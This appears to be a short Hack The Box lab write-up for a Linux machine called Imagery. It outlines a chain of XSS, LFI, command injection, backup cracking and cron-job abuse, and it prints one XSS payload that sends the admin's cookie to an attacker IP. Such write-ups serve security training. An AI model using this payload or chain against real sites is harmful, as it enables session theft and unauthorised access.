Platform: Hack The Box
Season: 9
Difficulty: Medium
OS: Linux
Date: 2025-11-05
Author: x4cc3
Imagery is a Medium Linux machine running a Flask image app on port 8000. An XSS via "Report a Bug" steals the admin session. The admin panel has LFI leaking the database with MD5 hashes. Command injection in image crop params gives a shell. An AES-encrypted backup is cracked for mark's password. A sudo-allowed binary (charcol) is exploited via cron job injection for root.
| Port | Service |
|---|---|
| 22/tcp | SSH |
| 8000/tcp | HTTP — Flask image app |

Imagery landing page

Registration page
<img src=1 onerror="document.location='<http://10.10.15.55:8888/steal?c='+document.cookie>">

Burpsuite inspection

Report a Bug feature
Submitted via "Report a Bug" — when admin reviewed it, the cookie was sent to the attacker.